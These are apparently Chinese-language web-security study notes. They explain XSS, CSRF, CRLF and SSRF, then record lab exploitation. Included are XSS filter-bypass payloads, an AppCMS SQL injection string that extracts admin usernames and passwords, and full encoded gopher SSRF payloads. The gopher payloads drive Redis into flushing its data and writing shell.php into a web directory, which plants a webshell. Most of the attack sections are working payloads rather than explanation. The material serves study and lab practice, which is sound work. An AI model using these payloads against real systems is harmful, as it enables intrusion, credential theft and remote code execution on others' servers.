知识点
xss分类
反射型 非持久 不能进数据库 刷新一次就没了 搜索框,地址栏等
dom型 前端JS自己把攻击者的输入当HTML解析
存储型 xss语句进入数据库
侧信道
系统在"算"东西的时候,会不自觉地泄露信息------时间、功耗、电磁波、声音、缓存状态......攻击者不直接破解算法,而是通过观察这些"副作用"来推断出密钥或敏感数据
CRLF
当程序把用户输入直接拼接到 HTTP 响应头里,且没过滤 \r\n 时,攻击者可以注入换行符,自己"制造"响应头甚至响应体
csrf
客户端请求伪造,被动触发
目前的服务器对form表单提交有token值验证
ssrf
服务端请求伪造
形成原因:服务端提供了从其他服务器应用获取数据的功能,同时没有对目标地址做过滤与限制,导致攻击者可以传入任意地址来让后端服务器对其发起请求,并返回对该目标地址的请求数据
造成危害:
本地利用:本地端口探测,服务探测
php中下面函数使用不当会导致ssrf
file_get_contents()
fsockopen()
curl_exec()
常用端口:
9000:fastcgi
6379:redis
3306:mysql
GOPHER协议 向任意端口发送任意格式的数据
file协议 读文件
dict协议 探测端口
任意文件读取危害:
敏感信息
配置文件
ssrf结合redis
redis低版本(3.2.6)才能生效
redis漏洞:
写入任务计划
写入webshell
写入公钥
redis,非关系型数据库,
特征:快,因为数据保存在内存中
内存小,存储数据有限,一般都是redis+mysql
数据容易丢
有持久化机制,可写到硬盘中,任意文件下
浏览器解析机制
1.<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a> //不能对协议类型进行编码,不然url会认为是无类型,对javascript伪协议进行编码导致url不识别 2.<a href="javascript:%61%6c%65%72% 74%28%32%29">aaa</a> //属性值下的字符引用,先进行html实体解码,然后进行url解析,url看到的内容是<a href=javascript :%61%6c%65%72%74%28%32%29">,没有编码协议所以url认识,最终进入js解析时内容为<a href= javascr ipt:alert(1)"> 3.<a href="javascript%3aalert(3)">aaa</a> //用URL编码":",完整伪协议应该是javascript: ,因此认为是无类型,url不识别 4.<div><img src=x onerror=alert(4)></div> //先解析到<,tag open state状态,再解析div,tag name state状态,div标签结束,然后解析器看到< 认为是数据状态下的字符引用,正常html标签运行,必须进入标签开始状态,而此时解析器只会解码,无法进入标签开始状态 5.<textarea><script>alert(5)</script></textarea> //RCDATE元素可以容纳文本和字符引用,但是解析器遇到编码只进行解码 6.<textarea><script>alert(6)</script></textarea> //解析RCDATE元素,解析器会进入RCDATE状态,在RCDATE状态下,只有</textarea>和</title>被认为是标签,其他内容都被认为是文本 7.<button onclick="confirm('7')">Button</button> //先实体解码后<button onclick="confirm('7')">Button</button>,然后进入js解析 8.<button onclick="confirm('8\u0027);">Button</button> //unicode编码,js支持unicode编码,但是不能编码符号,会被认为是字符串 9.<script>alert(9);</script> //原生文本,只能把里面的内容当做文本,script标签中的内容html不进行解码,会认为是普通字符 10.<script>\u0061\u006c\u0065\u0072\u0074(10);</script> //unicode编码,js支持unicode编码,没有对符号进行编码,可执行 11.<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script> //unicode编码,js支持unicode编码,但是对所有内容进行编码 12.<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script> //unicode编码,js支持unicode编码,不能对数字编码或者括号内的内容需添加引号,不添加'',js解析器不会认为\u0031\u0032是字符串 14.<script>alert('14\u000a')</script> //解析成换行也能触发 15.<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)">aaa</a> //html实体解码为javascript:%5c%75%30%30%36%31%5c%75%30%30%36%33%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15),再url解析为\u0061\u0063\u0065\u0072\u0074(15),然后js解析为alert(15)
漏洞复现
level1

<script>alert(1)</script>
源代码:

level2
需要用户交互:
a" onfocus="alert(1)

非用户交互:
a" autofocus onfocus="alert(1)

level3
源代码:

a' onclick='alert(1)

Ok, Boomer

思考:setTimeout定时器如何使用,为什么会出现ok
setTimeout:传递函数和字符串,如果传递字符串,等于用eval执行这个字符串
ok:传入一个id=ok的标签,可以拿到整个标签的内容
思路:
找到DOMP的白名单:cid,tel
<a href="tel:alert(ok)" id=ok>a</a>


思考:为什么要用a标签,其他的可以吗
a标签自带tostring方法,可以将href的属性转化成字符串,settimeout可以执行,其他标签是继承父类
Appcms
1.1.1.1'),('2','0','0',(select upass from appcms_admin_list),(select uname from appcms_admin_list),'123','2.2.2.2')#


问题:
设置了安全码如何获取
如何找到后台
思路:
xss获取后台地址
csrf+存储型xss,getshell
管理员可以在后台触发js
上传存储型xss:

后台管理员触发:

成功创建文件:

多重xss注入:




ssrf结合redis
<?php highlight_file(__file__); function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); echo curl_exec($ch); curl_close($ch); } if(isset($_GET['url'])){ $url = $_GET['url']; if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match)) { die('No, No, No!'); } curl($url); } if(isset($_GET['info'])){ phpinfo(); } ?>
bursupit爆破到其他端口:

思考:
redis怎么用,redis如何实现打任务计划,打shell,打公钥
思路:
ssrf+gopher协议,控制redis,然后利用ssrf往redis写入数据
利用ssrf执行持久化命令,往哪个位置写入数据
1.任务计划位置
2.web目录下
3.root/ssh目录下
通过爆破找到var/www/html/upload目录,利用gopherus生成payload

二次编码

写入成功


gopher%3A%2F%2F172%2E19%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
http://192.168.17.131:8091/?url=gopher%3A%2F%2F172.19.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%252Fvar%252Fwww%252Fhtml%252Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

